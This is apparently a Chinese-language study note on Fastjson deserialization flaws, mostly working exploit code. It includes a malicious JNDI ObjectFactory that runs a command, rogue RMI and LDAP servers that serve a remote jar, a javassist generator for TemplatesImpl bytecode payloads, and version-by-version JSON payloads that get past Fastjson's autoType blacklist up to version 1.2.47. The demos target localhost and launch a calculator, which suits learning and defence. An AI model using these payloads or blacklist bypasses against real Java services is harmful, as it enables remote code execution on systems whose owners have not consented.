Fastjson 反序列化
参考文章
JAVA反序列化—FastJson组件 – 先知社区 (aliyun.com)
FastJson 反序列化学习 (lmxspace.com)
Fastjson 流程分析及 RCE 分析 (seebug.org)
Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)
攻击Java Web应用 Java Web安全] (zhishihezi.net)
环境搭建
推荐使用IDEA
+MAVEN
,具体配置可以参考网上其他文章。
Java: 1.8.0_271-b09
JNDI-Reference
from 攻击Java Web应用 Java Web安全] (zhishihezi.net)
使用创建恶意的ObjectFactory对象
ReferenceObjectFactory
package com.fe1w0.jndi.injection;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
/**
* 引用对象创建工厂
*/
public class ReferenceObjectFactory implements ObjectFactory {
/**
* @param obj 包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
* @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
* @param ctx 一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
* @param env 创建对象时使用的环境(可能为 null)。
* @return 对象工厂创建出的对象
* @throws Exception 对象创建异常
*/
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
return Runtime.getRuntime().exec("calc.exe");
}
}
jar 打包为 jndi-test.jar
mkdir classes # JavaSec 目录下
javac -d classes .\src\main\java\com\fe1w0\jndi\injection\ReferenceObjectFactory.ja
va
#新建 MANIFEST.MF,并输入以下内容,注意最后加个回车
Main-Class: com.fe1w0.jndi.injection.ReferenceObjectFactory
jar cfm jdni-test.jar .\MANIFEST.MF -C classes . # 最后
python 开启web服务
python3 -m http.server 8000
包含恶意攻击的RMI服务端
RMIReferenceServerTest
package com.fe1w0.jndi.injection;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMIReferenceServerTest {
public static final String RMI_HOST = "127.0.0.1";
public static final int RMI_PORT = 9527;
public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/test";
public static void main(String[] args) {
try {
// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
String url = "http://localhost/jndi-test.jar";
// 对象的工厂类名
String className = "com.fe1w0.jndi.injection.ReferenceObjectFactory";
// 监听RMI服务端口
LocateRegistry.createRegistry(RMI_PORT);
// 创建一个远程的JNDI对象工厂类的引用对象
Reference reference = new Reference(className, className, url);
// 转换为RMI引用对象
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 绑定一个恶意的Remote对象到RMI服务
Naming.bind(RMI_NAME, referenceWrapper);
System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
} catch (Exception e) {
e.printStackTrace();
}
}
}
RMI 客户端
package com.fe1w0.jndi.injection;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import static com.fe1w0.jndi.injection.RMIReferenceServerTest.RMI_NAME;
public class RMIReferenceClientTest {
public static void main(String[] args) {
try {
// // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext context = new InitialContext();
// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = context.lookup(RMI_NAME);
System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
创建恶意的LDAP服务
package com.fe1w0.jndi.injection;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
public class LDAPReferenceServerTest {
// 设置LDAP服务端口
public static final int SERVER_PORT = 3890;
// 设置LDAP绑定的服务地址,外网测试换成0.0.0.0
public static final String BIND_HOST = "127.0.0.1";
// 设置一个实体名称
public static final String LDAP_ENTRY_NAME = "test";
// 获取LDAP服务地址
public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;
// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
public static final String REMOTE_REFERENCE_JAR = "http://localhost/jndi-test.jar";
// 设置LDAP基底DN
private static final String LDAP_BASE = "dc=xzaslxr,dc=xyz";
public static void main(String[] args) {
try {
// 创建LDAP配置对象
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
// 设置LDAP监听配置信息
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault())
);
// 添加自定义的LDAP操作拦截器
config.addInMemoryOperationInterceptor(new OperationInterceptor());
// 创建LDAP服务对象
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
// 启动服务
ds.startListening();
System.out.println("LDAP服务启动成功,服务地址:" + LDAP_URL);
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry entry = new Entry(base);
try {
// 设置对象的工厂类名
String className = "com.fe1w0.jndi.injection.ReferenceObjectFactory";
entry.addAttribute("javaClassName", className);
entry.addAttribute("javaFactory", className);
// 设置远程的恶意引用对象的jar地址
entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);
// 设置LDAP objectClass
entry.addAttribute("objectClass", "javaNamingReference");
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception e1) {
e1.printStackTrace();
}
}
}
}
LDAP客户端代码
package com.fe1w0.jndi.injection;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import static com.fe1w0.jndi.injection.LDAPReferenceServerTest.LDAP_URL;
public class LDAPReferenceClientTest {
public static void main(String[] args) {
try {
// // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
Context ctx = new InitialContext();
// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = ctx.lookup(LDAP_URL);
System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
简单Demo (fastjson=1.2.24)
From
FastJson 反序列化学习 (lmxspace.com)
- User
package com.fe1w0.test;
public class User {
private String name; //私有属性,有getter、setter方法
private int age; //私有属性,有getter、setter方法
private boolean flag; //私有属性,有is、setter方法
public String sex; //公有属性,有getter、setter方法
public String address; //公有属性,无getter、setter方法
public User() {
System.out.println("call User default Constructor");
}
public String getName() {
System.out.println("call User getName");
return name;
}
public void setName(String name) {
System.out.println("call User setName");
this.name = name;
}
public int getAge() {
System.out.println("call User getAge");
return age;
}
public void setAge(int age) {
System.out.println("call User setAge");
this.age = age;
}
public boolean isFlag() {
System.out.println("call User isFlag");
return flag;
}
public void setFlag(boolean flag) {
System.out.println("call User setFlag");
this.flag = flag;
}
public void setSex(String sex){
System.out.println("call User setSex");
this.sex = sex;
}
public String getSex(){
System.out.println("call User getSex");
return this.sex;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", flag=" + flag +
", sex='" + sex + '\'' +
", address='" + address + '\'' +
'}';
}
}
需要注意的是setter、getter 的设置
set开头的方法要求如下:
- 方法名长度大于4且以set开头,且第四个字母要是大写
- 非静态方法
- 返回类型为void或当前类
- 参数个数为1个
get开头的方法要求如下:
- 方法名长度大于等于4
- 非静态方法
- 以get开头且第4个字母为大写
- 无传入参数
- 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong
可以见JAVA反序列化—FastJson组件 – 先知社区 (aliyun.com)
- TestFastjson
package com.fe1w0.test;
import com.alibaba.fastjson.JSON;
public class TestFastjson {
public static void main(String[] args) {
//序列化
String serializedStr = "{\"@type\":\"om.fe1w0.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
System.out.println("serializedStr=" + serializedStr);
System.out.println("-----------------------------------------------\n\n");
//通过parse方法进行反序列化,返回的是一个JSONObject
System.out.println("JSON.parse(serializedStr):");
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
System.out.println("parse反序列化:" + obj1);
System.out.println("-----------------------------------------------\n");
//通过parseObject,不指定类,返回的是一个JSONObject
System.out.println("JSON.parseObject(serializedStr):");
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
System.out.println("parseObject反序列化:" + obj2);
System.out.println("-----------------------------------------------\n");
//通过parseObject,指定为object.class
System.out.println("JSON.parseObject(serializedStr, Object.class):");
Object obj3 = JSON.parseObject(serializedStr, Object.class);
System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
System.out.println("parseObject反序列化:" + obj3);
System.out.println("-----------------------------------------------\n");
//通过parseObject,指定为User.class
System.out.println("JSON.parseObject(serializedStr, User.class):");
Object obj4 = JSON.parseObject(serializedStr, User.class);
System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());
System.out.println("parseObject反序列化:" + obj4);
System.out.println("-----------------------------------------------\n");
}
}
Output:
serializedStr={"@type":"com.fe1w0.test.User","name":"fe1w0","age":11, "flag": true,"sex":"boy","address":"china"}
-----------------------------------------------
JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User setSex
parse反序列化对象名称:com.fe1w0.test.User
parse反序列化:User{name='fe1w0', age=11, flag=true, sex='boy', address='china'}
-----------------------------------------------
JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User setSex
call User getAge
call User isFlag
call User getName
call User getSex
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"address":"china","flag":true,"sex":"boy","name":"fe1w0","age":11}
-----------------------------------------------
JSON.parseObject(serializedStr, Object.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User setSex
parseObject反序列化对象名称:com.fe1w0.test.User
parseObject反序列化:User{name='fe1w0', age=11, flag=true, sex='boy', address='china'}
-----------------------------------------------
JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User setSex
parseObject反序列化对象名称:com.fe1w0.test.User
parseObject反序列化:User{name='fe1w0', age=11, flag=true, sex='boy', address='china'}
-----------------------------------------------
根据上面输出,可以得到下面以下结论(注意Fastjson版本)
- JSON.parse(serializedStr)
但@type
是正确的时候,会根据@type
来选择解析,否则解析为JSONObject
- JSON.parseObject(serializedStr)
解析为JSONObject
,但会根据根据@type
的解析类生成。若@type
是不正确的时候,会直接为JSON字符串
- JSON.parseObject(serializedStr, Object.class)
@type
是正确的时候,会根据@type
来选择解析,否则解析为JSONObject
- JSON.parseObject(serializedStr, User.class)
@type
是正确的时候,会根据@type
来选择解析,否则会报错type not match
其中底层源代码分析,可以看(具体分析,自己看完还是有点乱😢)
FastJson 反序列化学习 (lmxspace.com)
@type
指定的解析类,即
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在poc中,_bytecodes
与_name
都是私有属性,所以要想反序列化这两个,需要在parseObject()
时设置Feature.SupportNonPublicField
_bytecodes
是我们把恶意类的.class文件二进制格式进行base64编码后得到的字符串
_outputProperties
漏洞利用链的关键会调用其参数的getOutputProperties方法 导致命令执行
_tfactory:{}
在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值
ver<=1.2.24
1.2.24及之前没有任何防御,并且autotype默认开启
com.sun.rowset.JdbcRowSetImpl利用链
payload: (fastjson=1.2.24 java=1.8.0_181)
package com.fe1w0.fastjson.test;
import com.alibaba.fastjson.JSON;
public class testJdbcRowSetImpl {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}";
JSON.parse(payload);
// JSON.parseObject(payload);
// JSON.parseObject(payload,Object.class);
}
}
大致原理
FastJson
在反序列化JSON
对象时候会通过反射自动创建类实例且FastJson
会根据传入的JSON
字段间接的调用类成员变量的setXXX
方法。FastJson
这个反序列化功能看似无法实现RCE
,但是有人找出多个符合JNDI
注入漏洞利用条件的Java
类(如:com.sun.rowset.JdbcRowSetImpl
)从而实现了RCE
。
JdbcRowSetImpl示例:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="com.sun.rowset.JdbcRowSetImpl" %>
<%
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName(request.getParameter("url"));
jdbcRowSet.setAutoCommit(true);
%>
假设我们能够动态的创建出JdbcRowSetImpl
类实例且可以间接的调用setDataSourceName
和setAutoCommit
方法,那么就有可能实现JNDI
注入攻击。FastJson
使用JdbcRowSetImpl
实现JNDI
注入攻击的大致的流程如下:
- 反射创建
com.sun.rowset.JdbcRowSetImpl
对象。 - 反射调用
setDataSourceName
方法,设置JNDI
的URL
。 - 反射调用
setAutoCommit
方法,该方法会试图使用JNDI
获取数据源(DataSource
)对象。 - 调用
lookup
方法去查找我们注入的URL
所绑定的恶意的JNDI
远程引用对象。 - 执行恶意的类对象工厂方法实现RCE。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用链
payload (fastjson=1.2.24 java=1.8.0_181))
package com.fe1w0.fastjson.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class testTemplatesImpl {
public static void main(String[] args) throws Exception {
String evilCode_base64 = readClass();
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{'rand1':{" +
"\"@type\":\"" + NASTY_CLASS + "\"," +
"\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'aaa'," +
"'_tfactory':{}," +
"'_outputProperties':{}" +
"}}\n";
System.out.println(payload);
JSON.parse(payload, Feature.SupportNonPublicField); //成功
//JSON.parseObject(payload, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功
}
public static class AaAa {
}
public static String readClass() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(AaAa.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "AaAa" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[] evilCode = cc.toBytecode();
return Base64.encodeBase64String(evilCode);
}
}
漏洞分析可以看
[fastjson 远程反序列化poc的构造和分析 | xxlegend](http://xxlegend.com/2017/04/29/title- fastjson 远程反序列化poc的构造和分析/)
ver>=1.2.25&ver<=1.2.41
@type
添加L
和;
绕过
ver=1.2.24时,添加AutoTypeSupport
,默认不允许使用autotype
,且加入了采用黑名单和白名单检查型式的checkAutotype
函数
checkAutotype
(ver =1.2.41)
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() >= 128) {
throw new JSONException("autoType is not support. " + typeName);
} else {
String className = typeName.replace('$', '.');// 替换
Class<?> clazz = null;
int mask;
String accept;
if (this.autoTypeSupport || expectClass != null) {
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
}
for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}
if (clazz != null) {
if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
return clazz;
}
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}
我们已一开始的testJdbcRowSetImpl
进行debug,
package com.fe1w0.fastjson.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class testJdbcRowSetImpl {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);// 注意要 setAutoTypeSupport(true)
JSON.parse(payload);
// JSON.parseObject(payload);
// JSON.parseObject(payload,Object.class);
}
}
发现throw
发生在以下检查中对黑名单的检查
if (this.autoTypeSupport || expectClass != null) {
for(mask = 0; mask < this.acceptList.length; ++mask) {
accept = this.acceptList[mask];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
}
for(mask = 0; mask < this.denyList.length; ++mask) {
accept = this.denyList[mask];
if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
我们可以将在@type
前面添加L
和;
以绕过上面对黑名单的检测,如Lcom.sun.rowset.JdbcRowSetImpl;
因在@type
前面添加L
和;
的形式,可以被 TypeUtils.LoadClass
处理
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
Payload
payload = "{\"rand1\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}";
ver=1.2.42
双写L
和;
绕过
大致流程还是和之前一样,多了
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
会将前后L
、;
去掉,并将原来的将黑名单转换成了类名十进制hash
payload
payload = "{\"rand1\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}";
ver=1.2.43
[]
形式绕过
1.2.43对于1.2.42的绕过修复方式:
在第一个if条件之下(L
开头,;
结尾),又加了一个以LL
开头的条件,如果第一个条件满足并且以LL
开头,直接抛异常。所以这种修复方式没法在绕过了。但是上面的loadclass除了L
和;
做了特殊处理外,[
也被特殊处理了,又再次绕过了checkAutoType:
payload
payload = "{\"rand1\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"ldap://localhost:3890/test\",\"autoCommit\":true]}}\n";
ver=1.2.45
绕过黑名单,org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://localhost:3890/test\"}}";
ver=1.2.47
from
通过缓存,无需开启autotype
payload = = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:3890/test\",\"autoCommit\":true}}}";
详细见 FastJson 反序列化学习 (lmxspace.com)
ver=1.2.48
修补: 将cache默认设置为false
,无法再利用缓存